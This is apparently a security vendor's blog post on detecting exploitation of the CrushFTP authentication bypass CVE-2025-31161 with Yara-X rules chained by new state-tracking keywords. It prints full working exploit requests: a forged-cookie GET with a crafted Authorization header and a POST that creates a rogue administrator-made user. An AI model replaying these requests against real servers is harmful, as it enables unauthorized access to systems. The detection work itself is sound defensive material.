Skip to main content

Command Palette

Search for a command to run...

Detecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_state

Published
8 min read
N

We empower businesses with cutting-edge software and expert services to navigate the complexities of today's cyber landscape. Secure your network with cutting-edge software and services that ensure your safety and peace of mind!

Introduction

This vulnerability was found by Outpost24 under the identifier CVE-2025-31161 (previously reported as CVE-2025-2825). Outpost24 and other vendors and security researchers have shared enough technical details about the root cause of the vulnerability and how to exploit it. Public PoCs are already available on GitHub, for example, the CVE-2025-31161 PoC.

The vulnerability was exploited in the wild by different threat actors, as reported by the Huntress team.

Netomize is taking this as a case study to demonstrate the new track_state and flow_state keywords we introduced in versions 5.3.0 and 5.4.0, in the Yara detection module, for chaining multiple rules across different packets and the same TCP/UDP flows in the pcap, respectively.

The PacketSmith Yara-X detection module introduced new (reserved) keywords to the meta section of the Yara-X rule called track_state and flow_state with their own syntax and grammar, to track/chain multiple rules at the same time across different packets/streams, or flows, respectively. They are used for cross-correlating different rules across different packets and streams or flows (depending on the filter type used) at runtime. This feature was inspired by the concept of flowbits in Snort/Suricata, with different implementation details.

Vulnerability Details

The vulnerability CVE-2025-31161 is an authentication-bypass vulnerability that can be exploited by constructing a specially crafted GET request containing a known username (no password is required). The username "crushadmin" is used as the default during setup.

I've made the pcap available for download via Netomize's official repo (RFiles), CrushFTP (CVE-2025-31161) packet capture (26,075 bytes).

To exploit the vulnerability, a request similar to the following is sent to the vulnerable CrushFTP server (in this case, it was sent against the vulnerable version 11.2.1 Build: 22):

GET /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Figure-1: CrushFTP Authentication Bypass Request (GET)

The request shown above is just for authentication bypass and forcing the server to authenticate the forged session Cookie. The Authorization header authentication method is AWS4-HMAC-SHA256 (a required primitive), and the Credential is set to the username "crushadmin" (not containing a tilda), followed by /. Refer to references 2 and 3 for more info. Of course, you may leak some information from the server in the GET request, depending on the requested command type.

After authenticating the session Cookie with the authentication bypass vulnerability, we may proceed to perform elevated privileges on the CrushFTP server using the same Cookie. For example, we could send a POST request similar to the following to create/add a new user:

POST /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Content-Length: 1084
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=rogueuser&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cuser_name%3Erogueuser%3C%2Fuser_name%3E%3Cpassword%3Eroguepass%3C%2Fpassword%3E%3Cextra_vfs+type%3D%22vector%22%3E%3C%2Fextra_vfs%3E%3Cversion%3E1.0%3C%2Fversion%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3CuserVersion%3E6%3C%2FuserVersion%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Csite%3E%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3C%2Fsite%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E1744120753370%3C%2Fcreated_time%3E%3Cpassword_history%3E%3C%2Fpassword_history%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3CVFS+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E%28read%29%28view%29%28resume%29%3C%2Fitem%3E%3C%2FVFS%3E&c2f=31If

Figure-2: CrushFTP Remote Command Execution Request (POST)

And, in case the above request was successfully processed by the CrushFTP HTTP Server, the server responds with the <response_status> XML element set to OK in the <result> root element:

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Tue, 12 May 2026 17:28:57 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 163

<?xml version="1.0" encoding="UTF-8"?> 
<result><response_status>OK</response_status><response_type>text</response_type><response_data></response_data></result>

Figure-3: CrushFTP Server Response - Command Execution Status

Detection Engineering

At Netomize, we strive to write generic detection logic to capture known and unknown variants of potentially valid exploitation and malicious traffic, and this case is no different.

To detect the authentication bypass request, as shown in Figure 1, a PacketSmith Yara detection rule could be written as follows:

rule crushftp_auth_bypass_vulnerability_get_req_cve_2025_31161
{
    meta:
	
      description = "Detect authentication bypass request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "set,crushftp_auth_bypass,noalert"

	strings:
	
		$uri               = "GET /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,256}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,256}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}

Rule-1: GET Request (Figure 1)

We verify the currentAuth and CrushAuth cookie keys to ensure they contain alphanumeric values of valid lengths, in any order. To exploit the vulnerability, the Authorization header must be of the AWS4-HMAC-SHA256 type, followed by the = character and the known username, ensuring it doesn't include a ~ character and is followed by a /. Our tests indicate that the key before the = can be anything, and any characters may follow the /.

Notice in the meta section, we use the reserved keyword track_state, introduced in version 5.3.0, to chain multiple rules across different packets in the pcap. For this request, we are setting the state "crushftp_auth_bypass" to noalert.

To detect the POST request in Figure 2, we could write a rule similar to the following:

rule crushftp_rce_vulnerability_post_req_cve_2025_31161
{
    meta:
	
      description = "Detect rce POST request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "isset,crushftp_auth_bypass,alert"
	  flow_state  = "set,crushftp_post_forged_cookie,noalert"

	strings:
	
		$uri               = "POST /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,192}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,192}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}

Rule-2: POST Request (Figure 2)

The only difference between this rule and the rule for the GET request is the HTTP method, POST. The track_state in this rule checks whether the state "crushftp_auth_bypass" is set/armed, and if so, alerts on the matching packet of this rule. The reason for linking the POST request to the GET request, and vice versa, depending on how you interpret the order of the requests, is that we want to check for attempted remote code execution and not just the authentication bypass request alone.

To detect the server response in Figure 3, you could write a rule similar to the following:

rule crushftp_successful_rce_exploitation_response_2025_31161
{
    meta:
	
      description = "Detect successful exploitation response from the CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  flow_state  = "isset,crushftp_post_forged_cookie,alert"

	strings:
	
		$http_server      = /\nServer: CrushFTP HTTP Server/i
		$response_status  = "<response_status>OK</response_status>"
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 148
	  and 
	  flow.to_client
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$http_server in (buf_off..buf_off + buf_sz)
			and
			$response_status in (buf_off + 64..buf_off + 64 + buf_sz)
	  	)
}

Rule-3: Server Response (Figure 3)

The rule checks for the header Server: CrushFTP HTTP Server in the server response, and the XML message <response_status>OK</response_status> in the response payload, indicating successful execution of the command shown in Figure 2 (POST request).

If you want to confirm that the POST request in Figure 2 was carried out successfully, we use the reserved keyword flow_state introduced in version 5.4.0 to tie it to the server response (and vice versa). In doing so, we ensure that the exploitation was successful.

This is evident in the setting of the flow state "crushftp_post_forged_cookie" to noalert in Rule 2, and checking whether it is set in Rule 3, and if so, then and only then, alert on the matching packet against the server response. We use the flow_state keyword and not the track_state, because Figure 2 and Figure 3 traffic have to belong to the same flow/stream.

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file yara_dte_2026_05_14_10_34_39.json with all the detections:

PacketSmith.exe -i <infile_pcap> -D yara:console_json -F frames: -O .

*** [ Raw Frames ] ***

id    proto      ip.src:port             ip.dst:port             size    entropy    total    rules
--    -----      -----------             -----------             ----    -------    -----    -----
25    IP4-TCP    192.168.60.128:43476    192.168.60.129:9090     447     5.96954    1        crushftp_rce_vulnerability_post_req_cve_2025_31161(4)
30    IP4-TCP    192.168.60.129:9090     192.168.60.128:43476    534     5.84315    1        crushftp_successful_rce_exploitation_response_cve_2025_31161(2)

Conclusion

In this article, we have shown how to detect various stages of the exploitation chain of the vulnerability CVE-2025-31161 using PacketSmith's Yara detection module. Moreover, we have introduced and demonstrated how to use the new keywords flow_state and track_state to correlate multiple detection rules across different packets and flows/streams, enhancing the ability to detect and mitigate such vulnerabilities.

References

  1. Outpost24: CrushFTP auth bypass vulnerability: Disclosure mess leads to attacks

  2. SonicWall: Critical CrushFTP Authentication Bypass (CVE-2025-31161) Exposes Servers to Remote Attacks)

  3. AttackerKB-Rapid7: CVE-2025-2825

  4. Huntress: CrushFTP CVE-2025-31161 Auth Bypass and Post-Exploitation

  5. Immersive-Labs GitHub: CVE-2025-31161 PoC

  6. Netomize GitHub RFiles Repo: CVE-2025-31161 PCAP + Yara Rules


Author: Mohamad Mokbel

First release: May 14, 2026